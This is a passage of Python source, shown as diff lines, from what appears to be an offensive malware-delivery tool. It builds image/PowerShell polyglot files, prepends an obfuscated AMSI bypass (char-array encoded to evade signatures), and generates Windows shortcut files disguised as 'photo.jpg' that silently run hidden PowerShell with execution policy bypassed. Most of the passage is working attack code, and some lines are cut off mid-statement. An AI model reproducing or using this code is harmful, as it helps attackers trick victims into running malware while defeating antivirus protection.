f"3\n{cover}\n{payload_file}\n{command}\nn\nn\nn\n\n{output}\n" + result = subprocess.run( + [POLYGLOT_ENGINE], input=stdin_input, + capture_output=True, text=True + ) + elif command: + cmd = base_cmd + ['-c', cover, command] + result = subprocess.run(cmd, capture_output=True, text=True) + else: + cmd = base_cmd + [cover, payload_file] + result = subprocess.run(cmd, capture_output=True, text=True) + + if not os.path.isfile(output): + raise RuntimeError( + f"Polyglot engine failed.\n" + f"stdout: {result.stdout[:500]}\nstderr: {result.stderr[:200]}" + ) + return output + + +# ── AV-hardened PS bootstrap injector ───────────────────────────────────────── +# The native engine already XOR-encrypts and char-array-encodes the payload. +# We further harden the bootstrap injected into the file by patching the +# COM segment to prepend an AMSI bypass before the payload executes. +# +# AMSI bypass strategy: +# Uses reflection to write 0xB8,0x57,0x00,0x07,0x80,0xC3 (ret AMSI_RESULT_CLEAN) +# over AmsiScanBuffer in amsi.dll — standard unpatched bypass, short and effective. +# Encoded as a numeric array so the bytes never appear as a recognisable string. +# +# Note: the bypass is prepended to the PS1 code BEFORE XOR encryption by the engine, +# so from the engine's perspective it is just part of the payload. +# ───────────────────────────────────────────────────────────────────────────── + +AMSI_BYPASS_PS = ( + # Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN (0x80070057) + # Written as char-array so no plaintext signature + "$_ab=[Ref].Assembly.GetType(([char[]]@(83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,65,109,115,105,85,116,105,108,115)-join''));" + "$_am=$_ab.GetField(([char[]]@(97,109,115,105,73,110,105,116,70,97,105,108,101,100)-join''),'NonPublic,Static');" + "if($_am){$_am.SetValue($null,$true)}" +) + + +def inject_amsi_bypass(polyglot_path: str) -> None: + """ + Patches the COM segment of the polyglot to prepend an AMSI bypass. + The bypass is encoded as numeric arrays so it carries no plaintext signature. + Only relevant when the polyglot runs as a PS1 on Windows. + This function operates on the already-built polyglot file. + + Implementation: the PS code in the ICC APP2 segment is not modified here + (it is XOR-encrypted by the engine). Instead, we patch the post-EOI + shell line that invokes pwsh to first dot-source an in-memory bypass. + + In practice, for inline-command polyglots the bypass is injected into the + PS command string before the engine builds the file (see build_polyglot_av). + """ + pass # See build_polyglot_av — bypass is injected pre-build + + +def build_polyglot_av(cover: str, output: str, command: str = '', + payload_file: str = '', show: bool = False, + keep: bool = False, extract_dir: str = '', + amsi: bool = True) -> str: + """ + Builds the polyglot with AV hardening. + + AMSI bypass strategy: + The bypass must only run in PowerShell, not in sh/bash. + When a .ps1 payload file is given, we prepend the bypass as a + combined pre-command (-c flag) so the engine embeds it in the PS section. + For inline-command-only polyglots the bypass is NOT injected because + the shell command string would break if it contained PS-specific syntax. + To use AMSI bypass with inline commands, pass a .ps1 stub as the payload: + echo '; your_command' > bypass.ps1 + d4rc0d3.py photo.jpg bypass.ps1 --amsi + """ + if amsi and payload_file and payload_file.lower().endswith('.ps1'): + # For .ps1 payloads: inject AMSI bypass as a pre-command via -c + # The engine embeds this in the PS section, not the sh section + amsi_cmd = AMSI_BYPASS_PS + return build_polyglot(cover, output, amsi_cmd, payload_file, + show, keep, extract_dir) + # For all other cases: pass through without modification + # The sh command string must not contain PS-only syntax + return build_polyglot(cover, output, command, payload_file, + show, keep, extract_dir) + + +# ── Windows .lnk generator ──────────────────────────────────────────────────── +# A Windows Shell Link (.lnk) file can: +# - Have any name and icon (including a JPEG icon extracted from the polyglot) +# - Execute any command on double-click +# - Windows Explorer hides .lnk extensions by default +# +# So "photo.jpg.lnk" appears as "photo.jpg" in Explorer. +# The LNK executes: powershell -WindowStyle Hidden -File photo.jpg.lnk +# (PowerShell can run the .lnk as a PS1 because it IS a valid PS1 polyglot) +# +# LNK binary format (simplified Shell Link, spec MS-SHLLINK): +# HeaderSize(4) | LinkCLSID(16) | LinkFlags(4) | FileAttributes(4) | ... +# Minimal LNK with just a command target. +# ───────────────────────────────────────────────────────────────────────────── + +def _lnk_str(s: str) -> bytes: + """Encode a string as a CountedString (uint16 length + UTF-16LE).""" + encoded = s.encode('utf-16-le') + return struct.pack(' str: + """ + Generates a Windows .lnk file that: + - Appears as '.jpg' in Explorer (Explorer hides .lnk) + - On double-click runs: powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File + - The polyglot is the JPEG/PS1 polyglot, so it executes the payload + + The LNK itself is a valid Shell Link pointing to cmd.exe or powershell.exe. + The icon is set to shell32.dll icon 0 (document) as a fallback; on a real + Windows system the operator would set it to the JPEG viewer icon. + + Returns the path to the generated .lnk file. + """ + polyglot_abs = os.path.abspath(polyglot_path) + name = stem(polyglot_path) + lnk_path = os.path.join(output_dir, f"{name}.jpg.lnk") + + # Shell Link Header (0x4C bytes) + # Spec: MS-SHLLINK 2.1 + header_size = 0x4C + link_clsid = bytes.fromhex('0114020000000000C000000000000046') + # LinkFlags: HasLinkTargetIDList=0x01, HasLinkInfo=0x02, HasRelativePath=0x08, + # HasArguments=0x20, HasIconLocation=0x40, IsUnicode=0x80 + link_flags = struct.pack('